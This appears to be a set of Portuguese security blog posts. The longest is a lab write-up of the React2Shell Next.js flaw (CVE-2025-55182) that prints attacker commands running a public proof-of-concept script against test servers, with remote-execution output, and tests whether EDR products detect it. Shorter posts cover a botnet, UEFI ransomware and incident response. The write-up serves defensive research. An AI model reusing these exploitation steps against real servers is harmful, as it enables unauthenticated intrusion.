Nos últimos dias, fui bombardeado com alertas que indicavam a detecção de um potencial software malicioso em diversos ambientes distintos, pelos quais sou responsável. Até então, mais um dia normal na vida de um analista de SOC. Porém, desta vez, algo estava diferente: coincidentemente, todos os alertas estavam correlacionados e apresentavam os mesmos indicadores e comportamentos, mesmo ocorrendo em ambientes distintos e sem qualquer relação entre si.
Ao analisar a origem desse suposto arquivo malicioso, por meio de pesquisas, cheguei à conclusão de que o executável estava relacionado a um serviço da Microsoft Store presente em endpoints Windows 10 e Windows 11, o que justificava o fato de diversos ambientes não correlacionados apontarem o mesmo EXE como suspeito.
Nesse momento, considerei duas possibilidades. A primeira, e mais crítica: a Microsoft teve essa aplicação comprometida e estaria, involuntariamente, distribuindo malware para o mundo inteiro o clássico “Supply chain attack”. Se fosse esse o caso, “fujam para as colinas!“. A segunda hipótese era a existência de alguma característica ou comportamento potencialmente legítimo do software que estivesse sendo identificado como disruptivo pelo XDR.
Com isso em mente, a melhor abordagem foi buscar outras fontes de dados, a fim de entender se essas detecções já eram conhecidas pela comunidade, vendors e demais analistas. Assim eu fiz. Após alguns minutos de pesquisa, observei que outros analistas, que operavam soluções de XDR alternativas, enfrentavam o mesmo problema, um número considerável de alertas indicando que o software da Microsoft estava sendo reconhecido e classificado como malware. A princípio, isso é um fator preocupante, pois aumenta a probabilidade de o arquivo ser realmente malicioso. No entanto, ao me aprofundar ainda mais, identifiquei em um fórum oficial da Microsoft a provável justificativa para o motivo de as soluções de segurança estarem realizando essa detecção, segundo o próprio vendor.
O arquivo executável passou a apresentar uma estrutura de código com seções de alta entropia e uso de packers, recurso comumente empregado em softwares maliciosos, pois é utilizado para proteger o código da aplicação e dificultar a engenharia reversa por parte dos analistas de Malware. colher as informações oficiais do fabricante foram um ponto chave para a finalização destes alertas.
Após a resolução de todas as questões relacionadas a esses incidentes e a classificação deles como falso positivo, surge a pergunta: O XDR errou? Apesar de a resposta parecer óbvia, vale analisar os fatos. A ferramenta foi criada para identificar comportamentos e ações suspeitas em qualquer executável, independentemente de assinatura digital, hash ou processo pai. Sua principal função é atuar como uma sirene para o analista. Essencialmente, ela não valida se a atividade representa um incidente real, pois, embora possua estratégias de mitigação associadas, essa não é sua função principal.
A decisão final sempre será do analista. Mesmo em cenários de automação utilizando SOAR, este fato se aplica, afinal, é o analista quem cria o playbook a ser executado. Portanto, nunca confie 100% na ferramenta, independentemente de sua classificação ou ranking no mercado. A máquina não faz nada por si só; ela apenas executa exatamente aquilo para o qual foi projetada. O bom analista é, e sempre será, aquele que reconhece isso e busca desenvolver as habilidades técnicas necessárias para absorver todas as informações fornecidas pelas ferramentas e, somente após uma análise minuciosa, identificar se determinado incidente é ou não verdadeiro.
Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em “Defensive Cyber Security” pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University “Foundations of Incident Management” e “Advanced Topics in Incident Handling”
Artur Spadoni | artur.spadoni@acmesecurity.org | 12/12/2025
1. Introdução
Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.
Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.
Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.
Serão descritos:
Aspectos técnicos da vulnerabilidade;
Um método de exploração em ambiente controlado; e
Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.
2. Visão Geral
A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function, utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.
2.1. Detalhes Técnicos
De acordo com indicadores oficiais, os seguintes detalhes foram levantados:
Categoria
Detalhes
Severidade
CVSS 3.x: 10.0 (Critica)
Data de publicação
3 de dezembro de 2025
Complexidade de exploração
Baixa – Requer requisição POST para um servidor vulnerável
Produto afetado
React 19, Next.js 15.0.0 a 16.0.6
Fraqueza Associada
CWE-502 – Desserialização de informação não confiável
Pontuação EPSS
1`3.40 % (em 08/12/2025) 77.80% (em 10/12/2025) 76.01% (em 11/12/2025)
Patch de correção
Pacote NPM (lançado 5 de dezembro de 2025, 06h29 UTC)
Setores Alvos
E-commerce, SaaS, Fintech, Plataformas de Streaming
2.2. Principal Vetor
O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.
2.3. Grupos de Criminosos
Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.
3. Explorando a CVE-2025-55182
Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).
Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.
IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.
Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.
3.1. Construção do Exploit e Criação do Payload
A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento
De forma resumida, as etapas adotadas no laboratório foram as seguintes:
Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s
141 packages are looking for funding
run `npm fund` for details
1 critical severity vulnerability
Figura 1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.
3.2. Execução da PoC
O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.
┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester"500:N176530853660.8210:{"a":"$@1","f":"","b":"development"}1:D["time":0.649100000002363Z]1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir"500:N176530855033Z.1970:{"a":"$@1","f":"","b":"development"}1:D["time":0.465700000006519]1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025 04:23 PM <DIR> . 12/09/2025 04:23 PM -0 .gitignore\r\n12/09/2025 04:28 PM 480 .gitignore\r\n12/09/2025 04:23 PM <DIR> next\r\n12/09/2025 04:23 PM 465 eslint.config.mjs\r\n12/09/2025 04:28 PM 257 next-env.d.ts\r\n12/09/2025 04:23 PM 1 33 next.config.ts\r\n12/09/2025 04:28 PM <DIR> node_modules\r\n12/09/2025 04:28 PM 227,243 package-lock.json\r\n12/09/2025 04:23 PM 567 package.json\r\n12/09/2025 04:23 PM <DIR> public\r\n12/09/2025 04:23 PM 1,450 README.md\r\n12/09/2025 04:23 PM 338,468 bytes\r\n12/09/2025 04:23 PM 0 File(s) 107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]
Figura 2 – Disparo da PoC pelo atacante
Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMapURL could not be parsed✖ Error: NEXT_REDIRECT at ignore-listed frames { digest: 'Volume in drive C has no label.\r\n' +'Volume Serial Number is E86C-A9DF\r\n' +'\r\n' +'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' +'\r\n' +'12/09/2025 04:28 PM <DIR> .\r\n' +'12/09/2025 04:23 PM <DIR> ..\r\n' +'12/09/2025 04:23 PM 480 .gitignore\r\n' +'12/09/2025 04:28 PM <DIR> .next\r\n' +'12/09/2025 04:23 PM <DIR> app\r\n' +'12/09/2025 04:23 PM 107,113 bun.lock\r\n' +'12/09/2025 04:23 PM 465 eslint.config.mjs\r\n' +'12/09/2025 04:28 PM 257 next-env.d.ts\r\n' +'12/09/2025 04:23 PM 133 next.config.ts\r\n' +'12/09/2025 04:28 PM <DIR> node_modules\r\n' +'12/09/2025 04:28 PM 227,243 package-lock.json\r\n' +'12/09/2025 04:23 PM 567 package.json\r\n' +'12/09/2025 04:23 PM 94 postcss.config.mjs\r\n' +'12/09/2025 04:23 PM <DIR> public\r\n' +'12/09/2025 04:23 PM 1,450 README.md\r\n' +'12/09/2025 04:23 PM 666 tsconfig.json\r\n' +' 10 File(s) 338,468 bytes\r\n' +' 6 Dir(s) 107,770,097,664 bytes free'}POST / 500 in 43ms (compile: 4ms, render: 39ms)
Figura 3 – Execução remota no servidor
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request resp = self.send(prep, **send_kwargs)File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send r = adapter.send(request, **kwargs)File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send raise ConnectionError(err, request=request)requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.21:3000""dir" █
Figura 4 – Mensagem de erro no ambiente atacante após ser interceptado
3.4 Consideraçõe éticas e créditos
Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.
O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.
O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.
4. Resultados e Observações
Nos testes realizados com os ambiente, observou-se o seguinte comportamento:
Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:
O Monitorador de Rede bloqueou uma tentativa de ataque.
– A tentativa mal-intencionada Exploit.CommandInjection.299[…]
– A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]
Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.
A tabela a seguir resume os resultados observados:
Ambiente
EDR/Antivírus
Execução do Ataque
Alertas?
Bloqueio?
1
EDR XPToA
Sucesso
Não
Não
2
EDR XPToB
Sucesso
Não
Não
3
EDR XPToC
Sucesso
Não
Não
4
EDR XPToD
Bloqueado
Sim
Sim
4.1. Sobre os ambientes que não perceberam qualquer atividade
Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.
4.2 Sobre o ambiente que detectou e bloqueou o ataque
Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.
5. Conclusões
A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).
Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataque — detecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.
Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.
6. Mitigação e Recomendações
Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:
Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.
Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.
REFERÊNCIAS
[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].
[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].
Kim Morgan (kim@acmesecurity.org) & Adriano Cansian (adriano.cansian@unesp.br)
Em 17 de novembro de 2025, a Microsoft anunciou ter mitigado o maior ataque de negação de serviço distribuído (DDoS) já registrado em sua nuvem [1]. O ataque, que atingiu um pico de 15,72 terabits por segundo (Tbps), foi direcionado a um único endpoint da plataforma Azure na Austrália no dia 24 de outubro de 2025. A operação massiva, que utilizou mais de 500.000 endereços IP comprometidos para gerar um dilúvio de tráfego UDP, foi atribuída à Aisuru, uma botnet que exemplifica a sofisticação das ameaças modernas e destaca o papel central e estratégico do Sistema de Nomes de Domínio (DNS) em seu funcionamento.
Figura 1: Tendências de Ataque e distribuição geográfica de vítimas de ataques DDoS da Aisuru. Fonte: (WANG et al., 2025)
Ascensão da Aisuru: De Botnet Comum a Ameaça Global
A Aisuru, inicialmente uma botnet de escala relativamente comum, teve uma ascensão meteórica em abril de 2025. O ponto de virada ocorreu quando os operadores da rede comprometeram um servidor de atualização de firmware da fabricante de roteadores Totolink. Ao modificar a URL de atualização, eles passaram a distribuir um script malicioso para qualquer dispositivo que buscasse o firmware oficial. Essa tática engenhosa resultou na infecção de milhares de roteadores, expandindo a botnet para mais de 100.000 dispositivos em um curto período e consolidando a Aisuru como uma das maiores redes de bots ativas atualmente, com uma contagem de nós estimada em 300.000 [2].
Para se propagar, a Aisuru explora uma gama diversificada de vulnerabilidades, desde falhas antigas até 0-days, demonstrando a capacidade de seus operadores de integrar rapidamente novos vetores de ataque. A tabela abaixo detalha algumas das vulnerabilidades notáveis exploradas pelo grupo.
Figura 2: Vulnerabilidades exploradas para o comprometimento de dispositivos utilizados pelo grupo da Aisuru. Fonte: (WANG et al., 2025)
O DNS como Pilar da Operação
A infraestrutura de comando e controle (C2) da Aisuru depende criticamente do DNS. Para evitar a detecção e facilitar a rotação de seus servidores, a botnet utiliza registros de recurso TXT para comunicar os endereços IP dos servidores C2 aos dispositivos infectados. O malware consulta um domínio C2 e decodifica a informação contida no registro TXT para estabelecer a conexão. As técnicas de decodificação evoluíram, passando de uma combinação de base64 e ChaCha20 para base64 e XOR, numa tentativa contínua de evadir a detecção por ferramentas de segurança [2].
Figura 3: Hosts consultados pelos dispositivos comprometidos da botnet. Fonte: (ALIENVAULT, 2025)
A escala da operação da Aisuru foi exposta de forma dramática em novembro de 2025. Após mudar o resolvedor DNS padrão de seus bots do serviço do Google (8.8.8.8) para o da Cloudflare (1.1.1.1), o volume massivo de consultas geradas fez com que dois de seus domínios de C2 alcançassem as posições de 1º e 3º lugar no ranking global de domínios mais consultados da Cloudflare [3].
O evento, embora tenha levado a Cloudflare a remover os domínios maliciosos de sua lista pública, revelou a imensa escala da botnet, superando em tráfego de DNS gigantes como Google e Apple por um breve período.
Figura 4: Domínios da botnet Aisuru redigidos no ranking global da Cloudflare. Fonte: (KREBS et al., 2025)
Monetização Além do DDoS
Embora seja conhecida por seus ataques DDoS de grande impacto, a Aisuru diversificou suas fontes de receita, operando também como um lucrativo serviço de proxy residencial. Os operadores da botnet alugam o acesso aos dispositivos infectados, permitindo que clientes pagantes roteiem seu tráfego de internet através dessas conexões residenciais.
Isso não apenas garante o anonimato do cliente, mas também faz com que o tráfego malicioso (como raspagem de conteúdo em larga escala, fraude de anúncios ou ataques de preenchimento de credenciais) pareça originar-se de um usuário legítimo, dificultando enormemente sua detecção e bloqueio [4].
Conclusão: A Defesa Começa no DNS
O caso da Aisuru é um poderoso lembrete de que o DNS, um dos protocolos fundamentais da internet, permanece como um pilar estratégico tanto para o funcionamento da rede quanto para as operações de cibercriminosos.
A capacidade de uma botnet de usar o DNS para comando e controle de forma resiliente e de expor sua escala através do volume de tráfego de consultas demonstra a criticidade deste vetor. Enquanto domínios maliciosos permanecerem ativos, a operação de ameaças como a Aisuru continuará.
A mitigação eficaz depende de uma defesa proativa do DNS, com o monitoramento e o bloqueio automático de domínios associados a atividades maliciosas, impedindo a comunicação e a propagação dessas redes em escala global.
Este alerta de segurança aborda a descoberta do HybridPetya, uma nova variante de ransomware que representa uma evolução significativa nas ameaças de firmware. Identificado em fevereiro de 2025, ele combina características dos notórios malwares Petya e NotPetya, que causaram estragos entre 2016 e 2017. A principal inovação do HybridPetya é sua capacidade de comprometer sistemas modernos baseados em UEFI, explorando a vulnerabilidade CVE-2024-7344 para contornar o Secure Boot em máquinas que não aplicaram as atualizações de revogação (dbx) da Microsoft de janeiro de 2025.
Embora ainda não haja evidências de campanhas ativas, a sofisticação técnica do HybridPetya exige atenção e preparação por parte dos profissionais de segurança.
Análise Técnica do HybridPetya
O HybridPetya, assim como seus predecessores, tem como alvo a Master File Table (MFT) em partições NTFS, tornando os arquivos do sistema operacional inacessíveis. No entanto, sua abordagem é mais sofisticada, utilizando um bootkit UEFI para garantir sua persistência e execução antes mesmo do carregamento do sistema operacional.
O Bootkit UEFI e o Processo de Criptografia
A principal inovação do HybridPetya é a sua capacidade de instalar uma aplicação EFI maliciosa na EFI System Partition (ESP). Este bootkit é responsável por orquestrar todo o processo de ataque. Uma vez executado, ele utiliza o algoritmo de criptografia Salsa20 para criptografar a MFT. Durante este processo, o malware exibe uma falsa mensagem do CHKDSK, o que leva o usuário a acreditar que o sistema está realizando uma verificação de disco, quando na verdade seus arquivos estão sendo criptografados.
O processo de ataque pode ser resumido da seguinte forma:
Instalação: O malware instala sua aplicação EFI maliciosa na ESP.
Configuração: O bootkit verifica um arquivo de configuração para determinar o estado da criptografia (pronto para criptografar, já criptografado ou resgate pago).
Criptografia: Se o sistema ainda não foi comprometido, o bootkit extrai a chave de criptografia Salsa20 e inicia a criptografia da MFT.
Falsa Verificação: Durante a criptografia, uma mensagem falsa do CHKDSK é exibida para enganar o usuário.
Reinicialização: Após a conclusão da criptografia, o sistema é reiniciado e a nota de resgate é exibida.
Exploração da Vulnerabilidade CVE-2024-7344
Uma das variantes analisadas do HybridPetya explora a vulnerabilidade CVE-2024-7344 para contornar o UEFI Secure Boot. Esta falha de segurança reside em uma aplicação UEFI assinada pela Microsoft, chamada “Reloader“, que permite a execução de código não assinado a partir de um arquivo chamado cloak.dat. O HybridPetya explora essa falha para executar seu bootkit UEFI mesmo em sistemas com o Secure Boot ativado, desde que não tenham recebido as atualizações de revogação da Microsoft.
Diferenças em Relação ao Petya e NotPetya
Apesar das semelhanças, o HybridPetya apresenta diferenças cruciais em relação aos seus predecessores:
Característica
Petya (2016)
NotPetya (2017)
HybridPetya (2025)
Propósito
Ransomware
Destrutivo (wiper)
Ransomware
Recuperação
Possível
Impossível
Possível
Alvo
MBR e MFT
MBR e MFT
MFT (via UEFI)
UEFI
Não
Não
Sim
Propagação
Limitada
Agressiva (rede)
Limitada (até o momento)
É importante notar que, ao contrário do NotPetya, o HybridPetya foi projetado para funcionar como um ransomware tradicional. O algoritmo de geração de chaves, inspirado no proof-of-conceptRedPetyaOpenSSL, permite que o operador do malware reconstrua a chave de descriptografia, tornando a recuperação dos dados possível mediante o pagamento do resgate.
Implicações de Segurança e Mitigação
O surgimento do HybridPetya reforça a importância da segurança de firmware e da necessidade de manter os sistemas atualizados. As seguintes medidas são recomendadas para mitigar o risco de ataques como este:
Atualizações de Firmware e SO: Manter o firmware UEFI e o sistema operacional sempre atualizados é a principal linha de defesa.
Atualizações de Revogação (dbx): Garantir que as atualizações de revogação do Secure Boot da Microsoft sejam aplicadas para bloquear a execução de binários vulneráveis conhecidos, como o explorado pela CVE-2024-7344.
Monitoramento da ESP: Monitorar a EFI System Partition em busca de modificações não autorizadas pode ajudar a detectar a instalação de bootkits UEFI.
Controle de Acesso: Restringir o acesso de gravação à ESP para usuários e processos não privilegiados.
Conclusão
O HybridPetya representa uma nova e sofisticada ameaça no cenário de ransomware, demonstrando a contínua evolução das técnicas de ataque para o nível de firmware. Embora ainda não tenha sido observado em campanhas ativas, seu potencial de dano é significativo, especialmente em ambientes que não seguem as melhores práticas de segurança de firmware. A comunidade de segurança deve permanecer vigilante e proativa na implementação de medidas de defesa para se proteger contra esta e outras ameaças emergentes.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Trabalhando em uma resposta a um incidente onde o Domain Admin foi comprometido, comecei a fazer um levantamento do campo PwdLastSet no Active Directory Domain Services com o objetivo de identificar, logicamente, os usuários que realizaram trocas de senhas antes e/ou durante o incidente. Sendo assim, me surgiu uma dúvida:
O atributo PwdLastSet pode ser alterado?
Primeiro, vamos a definição:
“A data e a hora em que a senha dessa conta foi alterada pela última vez. Esse valor é armazenado como um inteiro grande que representa o número de intervalos de 100 nanossegundos desde 1º de janeiro de 1601 (UTC). Se esse valor for definido como 0 e o atributo User-Account-Control não contiver o sinalizador UF_DONT_EXPIRE_PASSWD, o usuário deverá definir a senha no próximo logon.“
Partimos para um laboratório onde subi um Active Directory Domain Services sobre um Windows Server 2022. Criei um usuário chamado lab.user com uma senha definida. O campo pwdLastSet adicionou as informações de data, hora e GMT configuradas no sistema operacional
Aí vem o teste. A primeira coisa que tentei foi adicionar um epoch time no usuárioporém sem sucesso em um script powershell.
Verificando a documentação entendi que é possível setar duas flags o 0 indicando que a senha nunca foi trocada e o -1 que utiliza do tempo atual.
O script e os resultados
OBS.: O script apresentado neste artigo é destinado exclusivamente para fins educativos e de aprendizado. Não nos responsabilizamos pelo uso indevido, aplicação em contextos não autorizados ou quaisquer consequências decorrentes da utilização deste código. Recomendamos que os leitores utilizem o script de forma ética e em conformidade com todas as leis e regulamentos aplicáveis.
Entendo que existem outros campos como WhenChanged que podem ser utilizados para investigação porém o que me trouxe até aqui foi quanto isso poderia ser confuso para quem está respondendo ao incidente de cibersegurança
João Fuzinelli, formado em Sistemas de informação possui algumas certificações de mercado e vasta experiência em ambientes de infraestrutura crítica e cibersegurança. Atualmente trabalha nas operações de SOC da CYLO Cybersecurity.
Comprometer um sistema não se trata apenas da quebra de uma credencial ou o upload de um malware em um endpoint, agentes de ameaça pensam muito além do acesso inicial, ele ou ela farão de tudo, a fim de alcançar seu objetivo final, podendo ser um vazamento de dados, roubo de propriedades intelectuais, ou em muitos casos uma infecção de ransomware.
Para que isso possa ocorrer, o atacante precisará permanecer vivo e operante no ambiente, uma vez que não é possível calcular quanto tempo ele levará para cumprir seu objetivo, portanto neste post eu gostaria de abordar algumas das técnicas de persistência mais comuns encontradas em ambientes que foram alvos de incidentes cibernéticos, observados em nosso dia a dia no SOC.
A grande realidade é que existem incontáveis técnicas utilizadas por agentes de ameaça para garantir persistência em um ambiente, muitas delas mapeadas pelo famoso framework “MITRE ATT&CK”. Primeiramente, gostaria de definir “O que é” uma técnica de persistência e por que ela é tão importante para um criminoso cibernético. Em seguida, exemplificarei algumas dessas técnicas me baseando em situações reais detectadas por nosso time de segurança.
Conforme a definição do MITRE ATT&CK “Persistência consiste em técnicas utilizadas por adversários para manter acesso a um sistema, indiferente a reinicializações, alterações de credenciais e/ou outras interrupções capazes de cortar seu acesso ao ambiente[…]” basicamente, essa tática ocorre somente após a invasão de um sistema, onde o descrito “adversário” planeja manter-se ativo na infraestrutura da vítima que pode ou não, estar ciente da ocorrência do incidente, essas técnicas são essenciais para a resiliência do atacante, que ainda não atingiu seu objetivo final.
Entendendo agora o “por que” de um agente de ameaça utilizar essas técnicas, agora devemos esclarecer “COMO” isso geralmente é feito… A grande realidade é que os Sistemas Operacionais atuais, facilitam muito o emprego de persistência, devido a diversos recursos nativos, criados em tese para auxiliar no funcionamento de softwares e processos legítimos, utilizados pelos usuários finais, mas quando configurados corretamente em favor do atacante, são ferramentas-chave para seu sucesso no ambiente.
Irei abordar algumas das técnicas mais comuns encontradas em incidentes cibernéticos reais voltados a ambientes “Microsoft Windows”, lembrando que para o “hacker” experiente, “o céu é o limite”, portanto não devemos nos apegar somente ao que será apresentado aqui, ou somente as técnicas já mapeadas pelo MITRE ATT&CK, mas sim compreender que, a medida que as tecnologias evoluem, inevitavelmente maneiras de se conquistar persistência, também irão seguir esse rumo.
Outro fato que devemos considerar é sobre a existência de inumeras táticas e técnicas utilizadas em ambientes “Unix” e também em outros Sistemas Operacionais, porém neste artigo abordarei somente o emprego das mesmas em sistemas “Windows”.
